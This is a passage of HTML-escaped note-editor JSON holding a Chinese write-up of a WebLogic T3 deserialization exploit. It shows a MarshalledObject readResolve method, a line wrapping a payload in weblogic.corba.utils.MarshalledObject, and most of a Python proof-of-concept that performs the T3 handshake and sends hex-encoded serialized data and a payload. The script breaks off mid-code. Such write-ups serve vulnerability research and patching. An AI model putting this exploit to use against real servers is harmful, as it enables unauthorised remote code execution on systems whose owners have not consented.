}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        